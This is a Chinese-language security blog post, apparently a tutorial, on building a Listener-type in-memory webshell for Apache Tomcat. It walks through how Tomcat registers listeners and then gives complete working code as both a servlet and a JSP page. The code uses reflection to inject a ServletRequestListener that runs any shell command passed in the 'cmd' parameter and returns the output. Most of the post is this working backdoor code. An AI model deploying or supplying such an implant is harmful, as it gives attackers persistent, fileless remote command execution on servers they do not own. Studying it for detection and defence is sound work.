Listener型内存马

Listener分类

tomcat中的Listener主要有这几种:

  • ServeltContextListener:服务器启动和终止时触发
  • HttpSessionListener:有关Session操作时触发
  • ServletRequestListener:请求时触发

其中ServletRequestListener最适合作为内存马,只要服务就能触发操作。

Listener添加流程

通过实现ServletRequestListener接口可以实现一个ServletRequestListener

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
package org.e4stjun.listeners;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;

@WebListener
public class TestListener implements ServletRequestListener {
    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("ServletRequestListener");
    }
}

requestInitialized()函数中添加断点:

image-20230905153349603

找到listener来源于这个函数:

image-20230905153301005

getApplicationEventListeners()函数返回的是applicationEventListenersList变量:

image-20230905153456201

再在StandardContext类里面找到有对applicationEventListenersList变量进行操作的两个函数:

image-20230905153744830

只要调用这两个函数就可以将Listener加入context

Listener型内存马构造思路

获取context

1
2
3
4
5
6
7
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
Field resourcesField = Class.forName("org.apache.catalina.loader.WebappClassLoaderBase").getDeclaredField("resources");
resourcesField.setAccessible(true);
Object resources = resourcesField.get(webappClassLoaderBase);
Field StandardCtxField = resources.getClass().getDeclaredField("context");
StandardCtxField.setAccessible(true);
StandardContext context = (StandardContext)StandardCtxField.get(resources);

构造恶意Listener

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
Object listener =  new ServletRequestListener() {
    public void requestInitialized(ServletRequestEvent sre) {
        RequestFacade servletRequest = (RequestFacade) sre.getServletRequest();
        Class clazz = servletRequest.getClass();
        try {
            Field requestField = clazz.getDeclaredField("request");
            requestField.setAccessible(true);
            Request req = (Request)requestField.get(servletRequest);
            Response resp = req.getResponse();
            String cmd = req.getParameter("cmd");
            if (cmd!=null) {
                InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String output = s.hasNext() ? s.next() : "";
                resp.getWriter().write(output);
            }

        } catch (Exception ignore) {}
    }
};

调用addApplicationEventListener()函数添加恶意Listener

1
2
3
//context.setApplicationEventListeners(new Object[]{listener});
context.addApplicationEventListener(listener);
resp.getWriter().write("added Listener");

Listener型内存马实现

完整exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import javax.servlet.ServletException;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;

@WebServlet("/addListener")
public class AddListener extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp)
            throws ServletException, IOException {
        try{
            WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            Field resourcesField = Class.forName("org.apache.catalina.loader.WebappClassLoaderBase").getDeclaredField("resources");
            resourcesField.setAccessible(true);
            Object resources = resourcesField.get(webappClassLoaderBase);
            Field StandardCtxField = resources.getClass().getDeclaredField("context");
            StandardCtxField.setAccessible(true);
            StandardContext context = (StandardContext)StandardCtxField.get(resources);
            //获取context
            Object listener =  new ServletRequestListener() {
                public void requestInitialized(ServletRequestEvent sre) {
                    RequestFacade servletRequest = (RequestFacade) sre.getServletRequest();
                    Class clazz = servletRequest.getClass();
                    try {
                        Field requestField = clazz.getDeclaredField("request");
                        requestField.setAccessible(true);
                        Request req = (Request)requestField.get(servletRequest);
                        Response resp = req.getResponse();
                        String cmd = req.getParameter("cmd");
                        if (cmd!=null) {
                            InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
                            Scanner s = new Scanner(in).useDelimiter("\\A");
                            String output = s.hasNext() ? s.next() : "";
                            resp.getWriter().write(output);
                        }
                    } catch (Exception ignore) {}
                }
            };
            //context.setApplicationEventListeners(new Object[]{listener});
            context.addApplicationEventListener(listener);
            resp.getWriter().write("added Listener");
        }catch (Exception ignore){}
    }
}

jsp版本:

<%@ page import="org.apache.catalina.connector.RequestFacade" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.loader.WebappClassLoaderBase" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%!
    public class ShellListener implements ServletRequestListener {
        public void requestInitialized(ServletRequestEvent sre) {
            RequestFacade servletRequest = (RequestFacade) sre.getServletRequest();
            Class clazz = servletRequest.getClass();
            try {
                Field requestField = clazz.getDeclaredField("request");
                requestField.setAccessible(true);
                Request req = (Request)requestField.get(servletRequest);
                Response resp = req.getResponse();
                String cmd = req.getParameter("cmd");
                if (cmd!=null) {
                    InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String output = s.hasNext() ? s.next() : "";
                    resp.getWriter().write(output);
                }

            } catch (Exception ignore) {}
        }
    }
%>
<%
    WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    Field resourcesField = Class.forName("org.apache.catalina.loader.WebappClassLoaderBase").getDeclaredField("resources");
    resourcesField.setAccessible(true);
    Object resources = resourcesField.get(webappClassLoaderBase);
    Field StandardCtxField = resources.getClass().getDeclaredField("context");
    StandardCtxField.setAccessible(true);
    StandardContext context = (StandardContext)StandardCtxField.get(resources);
    Object listener = new ShellListener();
    //context.setApplicationEventListeners(new Object[]{listener});
    context.addApplicationEventListener(listener);
    response.getWriter().write("added Listener");
%>

Referer

Tomcat 内存马(一)Listener型

Tomcat之Listener内存马

Java Listener型内存马

updatedupdated2023-09-052023-09-05